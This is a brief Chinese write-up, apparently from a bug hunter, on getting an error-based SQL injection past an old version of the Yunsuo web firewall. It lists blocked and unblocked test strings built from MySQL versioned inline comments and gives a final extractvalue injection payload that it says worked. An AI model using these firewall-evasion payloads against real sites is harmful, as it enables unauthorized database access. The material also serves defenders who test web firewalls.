起因
最近有空的时候会挖挖漏洞,今天注入的时候遇到了老版本的云锁
,简单记录bypass
过程
漏洞点
因为漏洞点是一个报错注入,使用?id=extractvalue()
函数就会被拦截,如图:
使用?id=extractvalue
不被拦截
使用内联注释分离函数和括号
关于内联注释
/* */
在mysql
中是多行注释,但是如果在中间添加了!
,那么!
后面的内容会被执行,如图:
bypass
构造 ?id=extractvalue/*!()*/
被拦截
构造?id=extractvalue/*!1()*/
不拦截
构造?id=/*!40000/*!30000extractvalue*/()
不拦截
最终payload
为:
?id=extractvalue/*!40000(1,concat(char(126),md5(1654670033)))*/
成功注入